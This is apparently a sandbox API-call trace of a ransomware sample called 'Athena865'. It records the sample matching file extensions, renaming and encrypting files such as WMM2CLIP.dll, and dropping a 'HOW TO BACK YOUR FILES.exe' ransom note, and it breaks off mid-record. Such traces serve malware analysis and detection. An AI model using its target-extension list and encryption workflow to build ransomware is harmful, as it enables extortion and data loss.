[0037.855] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0037.855] lstrlenW (lpString="dbf") returned 3 [0037.855] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0037.855] lstrlenW (lpString="mdf") returned 3 [0037.855] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0037.855] lstrlenW (lpString="mdb") returned 3 [0037.855] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0037.855] lstrlenW (lpString="sql") returned 3 [0037.855] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0037.855] lstrlenW (lpString="sqlite") returned 6 [0037.855] lstrcmpiW (lpString1="IP.dll", lpString2="sqlite") returned -1 [0037.855] lstrlenW (lpString="sqlite3") returned 7 [0037.855] lstrcmpiW (lpString1="LIP.dll", lpString2="sqlite3") returned -1 [0037.855] lstrlenW (lpString="sqlitedb") returned 8 [0037.855] lstrcmpiW (lpString1="CLIP.dll", lpString2="sqlitedb") returned -1 [0037.855] lstrlenW (lpString="xml") returned 3 [0037.855] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0037.855] lstrlenW (lpString="$er") returned 3 [0037.855] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0037.855] lstrlenW (lpString="4dd") returned 3 [0037.855] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0037.855] lstrlenW (lpString="4dl") returned 3 [0037.855] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0037.855] lstrlenW (lpString="^^^") returned 3 [0037.856] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0037.856] lstrlenW (lpString="abs") returned 3 [0037.856] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0037.856] lstrlenW (lpString="abx") returned 3 [0037.856] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0037.856] lstrlenW (lpString="accdb") returned 5 [0037.856] lstrcmpiW (lpString1="P.dll", lpString2="accdb") returned 1 [0037.856] lstrlenW (lpString="accdc") returned 5 [0037.856] lstrcmpiW (lpString1="P.dll", lpString2="accdc") returned 1 [0037.856] lstrlenW (lpString="accde") returned 5 [0037.856] lstrcmpiW (lpString1="P.dll", lpString2="accde") returned 1 [0037.856] lstrlenW (lpString="accdr") returned 5 [0037.856] lstrcmpiW (lpString1="P.dll", lpString2="accdr") returned 1 [0037.856] lstrlenW (lpString="accdt") returned 5 [0037.856] lstrcmpiW (lpString1="P.dll", lpString2="accdt") returned 1 [0037.856] lstrlenW (lpString="accdw") returned 5 [0037.856] lstrcmpiW (lpString1="P.dll", lpString2="accdw") returned 1 [0037.856] lstrlenW (lpString="accft") returned 5 [0037.856] lstrcmpiW (lpString1="P.dll", lpString2="accft") returned 1 [0037.856] lstrlenW (lpString="adb") returned 3 [0037.856] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0037.856] lstrlenW (lpString="adb") returned 3 [0037.856] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0037.856] lstrlenW (lpString="ade") returned 3 [0037.856] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0037.856] lstrlenW (lpString="adf") returned 3 [0037.856] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0037.856] lstrlenW (lpString="adn") returned 3 [0037.856] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0037.856] lstrlenW (lpString="adp") returned 3 [0037.856] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0037.856] lstrlenW (lpString="alf") returned 3 [0037.856] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0037.856] lstrlenW (lpString="ask") returned 3 [0037.856] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0037.856] lstrlenW (lpString="btr") returned 3 [0037.856] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0037.857] lstrlenW (lpString="cat") returned 3 [0037.857] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0037.857] lstrlenW (lpString="cdb") returned 3 [0037.857] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0037.857] lstrlenW (lpString="ckp") returned 3 [0037.857] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0037.857] lstrlenW (lpString="cma") returned 3 [0037.857] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0037.857] lstrlenW (lpString="cpd") returned 3 [0037.857] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0037.857] lstrlenW (lpString="dacpac") returned 6 [0037.857] lstrcmpiW (lpString1="IP.dll", lpString2="dacpac") returned 1 [0037.857] lstrlenW (lpString="dad") returned 3 [0037.857] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0037.857] lstrlenW (lpString="dadiagrams") returned 10 [0037.857] lstrcmpiW (lpString1="M2CLIP.dll", lpString2="dadiagrams") returned 1 [0037.857] lstrlenW (lpString="daschema") returned 8 [0037.857] lstrcmpiW (lpString1="CLIP.dll", lpString2="daschema") returned -1 [0037.857] lstrlenW (lpString="db-journal") returned 10 [0037.857] lstrcmpiW (lpString1="M2CLIP.dll", lpString2="db-journal") returned 1 [0037.857] lstrlenW (lpString="db-shm") returned 6 [0037.857] lstrcmpiW (lpString1="IP.dll", lpString2="db-shm") returned 1 [0037.857] lstrlenW (lpString="db-wal") returned 6 [0037.857] lstrcmpiW (lpString1="IP.dll", lpString2="db-wal") returned 1 [0037.857] lstrlenW (lpString="dbc") returned 3 [0037.857] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0037.857] lstrlenW (lpString="dbs") returned 3 [0037.857] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0037.857] lstrlenW (lpString="dbt") returned 3 [0037.857] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0037.857] lstrlenW (lpString="dbv") returned 3 [0037.857] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0037.857] lstrlenW (lpString="dbx") returned 3 [0037.857] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0037.857] lstrlenW (lpString="dcb") returned 3 [0037.857] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0037.858] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\WMM2CLIP.dll.Athena865") returned 49 [0037.858] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\WMM2CLIP.dll" (normalized: "c:\\program files\\dvd maker\\wmm2clip.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\WMM2CLIP.dll.Athena865" (normalized: "c:\\program files\\dvd maker\\wmm2clip.dll.athena865"), dwFlags=0x1) returned 1 [0037.858] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\WMM2CLIP.dll.Athena865" (normalized: "c:\\program files\\dvd maker\\wmm2clip.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0037.858] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=303104) returned 1 [0037.858] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0037.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0037.859] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0037.859] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0037.859] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0037.859] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0037.860] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a300, lpName=0x0) returned 0x17c [0037.861] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a300) returned 0x1f0000 [0037.885] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0037.886] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0037.886] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0037.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0037.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0037.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0037.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0037.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0037.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0037.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0037.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0037.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0037.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0037.887] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0037.889] CloseHandle (hObject=0x17c) returned 1 [0037.889] CloseHandle (hObject=0x154) returned 1 [0037.894] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0037.894] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0037.894] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0037.895] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 0 [0037.895] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0037.895] ReleaseMutex (hMutex=0xec) returned 1 [0037.895] CloseHandle (hObject=0xec) returned 1 [0037.895] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Internet Explorer" | out: lpString1="C:\\Program Files\\Internet Explorer") returned="C:\\Program Files\\Internet Explorer" [0037.896] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5171b8 | out: hHeap=0x4f0000) returned 1 [0037.896] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c2d8 | out: hHeap=0x4f0000) returned 1 [0037.896] lstrlenW (lpString="C:\\Program Files\\Internet Explorer") returned 34 [0037.896] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\7F43542EE10593098A6B0E7F2183F457") returned 0xec [0037.896] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0037.896] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Internet Explorer" | out: lpString1="C:\\Program Files\\Internet Explorer") returned="C:\\Program Files\\Internet Explorer" [0037.896] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0037.896] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Internet Explorer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\internet explorer\\how to back your files.exe"), bFailIfExists=1) returned 0 [0037.896] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\internet explorer\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0037.896] GetLastError () returned 0x0 [0037.896] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0037.896] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52f908 [0037.896] ReadFile (in: hFile=0xf4, lpBuffer=0x52f908, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52f908*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0037.897] CloseHandle (hObject=0xf4) returned 1 [0037.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0037.897] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0037.897] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc3f3bc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc3f3bc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0037.897] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0037.897] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0037.897] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0037.897] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc3f3bc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc3f3bc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.897] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0037.897] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0037.897] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0037.897] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0037.897] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0037.897] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0037.897] lstrcmpiW (lpString1="en-US", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0037.897] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0037.897] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0037.897] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0037.897] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0037.897] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1 [0037.897] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1 [0037.897] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1 [0037.897] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1 [0037.897] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0037.897] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1 [0037.897] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1 [0037.897] lstrlenW (lpString="en-US") returned 5 [0037.897] lstrcpyW (in: lpString1=0x241e88e, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0037.898] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c2d8 [0037.898] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x52) returned 0x528ef0 [0037.898] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0037.898] lstrcatW (in: lpString1="en-US\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="en-US\\HOW TO BACK YOUR FILES.exe") returned="en-US\\HOW TO BACK YOUR FILES.exe" [0037.898] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Internet Explorer\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\internet explorer\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1 [0037.903] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f55643f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f55643f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x23ff2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0037.903] lstrcmpiW (lpString1="hmmapi.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0037.903] lstrcmpiW (lpString1="hmmapi.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0037.903] lstrcmpiW (lpString1="hmmapi.dll", lpString2=".") returned 1 [0037.903] lstrcmpiW (lpString1="hmmapi.dll", lpString2="..") returned 1 [0037.903] lstrcmpiW (lpString1="hmmapi.dll", lpString2="windows") returned -1 [0037.903] lstrcmpiW (lpString1="hmmapi.dll", lpString2="bootmgr") returned 1 [0037.903] lstrcmpiW (lpString1="hmmapi.dll", lpString2="temp") returned -1 [0037.903] lstrcmpiW (lpString1="hmmapi.dll", lpString2="pagefile.sys") returned -1 [0037.903] lstrcmpiW (lpString1="hmmapi.dll", lpString2="boot") returned 1 [0037.903] lstrcmpiW (lpString1="hmmapi.dll", lpString2="ids.txt") returned -1 [0037.903] lstrcmpiW (lpString1="hmmapi.dll", lpString2="ntuser.dat") returned -1 [0037.903] lstrcmpiW (lpString1="hmmapi.dll", lpString2="perflogs") returned -1 [0037.903] lstrcmpiW (lpString1="hmmapi.dll", lpString2="MSBuild") returned -1 [0037.903] lstrlenW (lpString="hmmapi.dll") returned 10 [0037.903] lstrcpyW (in: lpString1=0x241e88e, lpString2="hmmapi.dll" | out: lpString1="hmmapi.dll") returned="hmmapi.dll" [0037.903] lstrlenW (lpString="hmmapi.dll") returned 10 [0037.903] lstrlenW (lpString="Athena865") returned 9 [0037.903] lstrcmpiW (lpString1="mmapi.dll", lpString2="Athena865") returned 1 [0037.903] lstrlenW (lpString=".dll") returned 4 [0037.903] lstrcmpiW (lpString1="hmmapi.dll", lpString2=".dll") returned 1 [0037.903] lstrlenW (lpString=".lnk") returned 4 [0037.903] lstrcmpiW (lpString1="hmmapi.dll", lpString2=".lnk") returned 1 [0037.903] lstrlenW (lpString=".ini") returned 4 [0037.903] lstrcmpiW (lpString1="hmmapi.dll", lpString2=".ini") returned 1 [0037.903] lstrlenW (lpString=".sys") returned 4 [0037.903] lstrcmpiW (lpString1="hmmapi.dll", lpString2=".sys") returned 1 [0037.903] lstrlenW (lpString="hmmapi.dll") returned 10 [0037.903] lstrlenW (lpString="bak") returned 3 [0037.903] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0037.904] lstrlenW (lpString="ba_") returned 3 [0037.904] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0037.904] lstrlenW (lpString="dbb") returned 3 [0037.904] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0037.904] lstrlenW (lpString="vmdk") returned 4 [0037.904] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0037.904] lstrlenW (lpString="rar") returned 3 [0037.904] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0037.904] lstrlenW (lpString="zip") returned 3 [0037.904] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0037.904] lstrlenW (lpString="tgz") returned 3 [0037.904] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0037.904] lstrlenW (lpString="vbox") returned 4 [0037.904] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0037.904] lstrlenW (lpString="vdi") returned 3 [0037.904] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0037.904] lstrlenW (lpString="vhd") returned 3 [0037.904] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0037.904] lstrlenW (lpString="vhdx") returned 4 [0037.904] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0037.904] lstrlenW (lpString="avhd") returned 4 [0037.904] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0037.904] lstrlenW (lpString="db") returned 2 [0037.904] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0037.904] lstrlenW (lpString="db2") returned 3 [0037.904] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0037.904] lstrlenW (lpString="db3") returned 3 [0037.904] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0037.904] lstrlenW (lpString="dbf") returned 3 [0037.904] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0037.904] lstrlenW (lpString="mdf") returned 3 [0037.904] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0037.904] lstrlenW (lpString="mdb") returned 3 [0037.904] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0037.904] lstrlenW (lpString="sql") returned 3 [0037.904] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0037.904] lstrlenW (lpString="sqlite") returned 6 [0037.904] lstrcmpiW (lpString1="pi.dll", lpString2="sqlite") returned -1 [0037.904] lstrlenW (lpString="sqlite3") returned 7 [0037.904] lstrcmpiW (lpString1="api.dll", lpString2="sqlite3") returned -1 [0037.905] lstrlenW (lpString="sqlitedb") returned 8 [0037.905] lstrcmpiW (lpString1="mapi.dll", lpString2="sqlitedb") returned -1 [0037.905] lstrlenW (lpString="xml") returned 3 [0037.905] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0037.905] lstrlenW (lpString="$er") returned 3 [0037.905] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0037.905] lstrlenW (lpString="4dd") returned 3 [0037.905] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0037.905] lstrlenW (lpString="4dl") returned 3 [0037.905] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0037.905] lstrlenW (lpString="^^^") returned 3 [0037.905] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0037.905] lstrlenW (lpString="abs") returned 3 [0037.905] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0037.905] lstrlenW (lpString="abx") returned 3 [0037.905] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0037.905] lstrlenW (lpString="accdb") returned 5 [0037.905] lstrcmpiW (lpString1="i.dll", lpString2="accdb") returned 1 [0037.905] lstrlenW (lpString="accdc") returned 5 [0037.905] lstrcmpiW (lpString1="i.dll", lpString2="accdc") returned 1 [0037.905] lstrlenW (lpString="accde") returned 5 [0037.905] lstrcmpiW (lpString1="i.dll", lpString2="accde") returned 1 [0037.905] lstrlenW (lpString="accdr") returned 5 [0037.905] lstrcmpiW (lpString1="i.dll", lpString2="accdr") returned 1 [0037.905] lstrlenW (lpString="accdt") returned 5 [0037.905] lstrcmpiW (lpString1="i.dll", lpString2="accdt") returned 1 [0037.905] lstrlenW (lpString="accdw") returned 5 [0037.905] lstrcmpiW (lpString1="i.dll", lpString2="accdw") returned 1 [0037.905] lstrlenW (lpString="accft") returned 5 [0037.905] lstrcmpiW (lpString1="i.dll", lpString2="accft") returned 1 [0037.905] lstrlenW (lpString="adb") returned 3 [0037.905] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0037.905] lstrlenW (lpString="adb") returned 3 [0037.905] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0037.905] lstrlenW (lpString="ade") returned 3 [0037.905] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0037.905] lstrlenW (lpString="adf") returned 3 [0037.905] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0037.905] lstrlenW (lpString="adn") returned 3 [0037.905] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0037.906] lstrlenW (lpString="adp") returned 3 [0037.906] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0037.906] lstrlenW (lpString="alf") returned 3 [0037.906] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0037.906] lstrlenW (lpString="ask") returned 3 [0037.906] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0037.906] lstrlenW (lpString="btr") returned 3 [0037.906] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0037.906] lstrlenW (lpString="cat") returned 3 [0037.906] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0037.906] lstrlenW (lpString="cdb") returned 3 [0037.906] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0037.906] lstrlenW (lpString="ckp") returned 3 [0037.906] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0037.906] lstrlenW (lpString="cma") returned 3 [0037.906] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0037.906] lstrlenW (lpString="cpd") returned 3 [0037.906] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0037.906] lstrlenW (lpString="dacpac") returned 6 [0037.906] lstrcmpiW (lpString1="pi.dll", lpString2="dacpac") returned 1 [0037.906] lstrlenW (lpString="dad") returned 3 [0037.906] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0037.906] lstrlenW (lpString="dadiagrams") returned 10 [0037.906] lstrlenW (lpString="daschema") returned 8 [0037.906] lstrcmpiW (lpString1="mapi.dll", lpString2="daschema") returned 1 [0037.906] lstrlenW (lpString="db-journal") returned 10 [0037.906] lstrlenW (lpString="db-shm") returned 6 [0037.906] lstrcmpiW (lpString1="pi.dll", lpString2="db-shm") returned 1 [0037.906] lstrlenW (lpString="db-wal") returned 6 [0037.906] lstrcmpiW (lpString1="pi.dll", lpString2="db-wal") returned 1 [0037.906] lstrlenW (lpString="dbc") returned 3 [0037.906] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0037.906] lstrlenW (lpString="dbs") returned 3 [0037.906] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0037.906] lstrlenW (lpString="dbt") returned 3 [0037.906] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0037.906] lstrlenW (lpString="dbv") returned 3 [0037.906] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0037.907] lstrlenW (lpString="dbx") returned 3 [0037.907] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0037.907] lstrlenW (lpString="dcb") returned 3 [0037.907] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0037.907] lstrlenW (lpString="dct") returned 3 [0037.907] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0037.907] lstrlenW (lpString="dcx") returned 3 [0037.907] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0037.907] lstrlenW (lpString="ddl") returned 3 [0037.907] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0037.907] lstrlenW (lpString="dlis") returned 4 [0037.907] 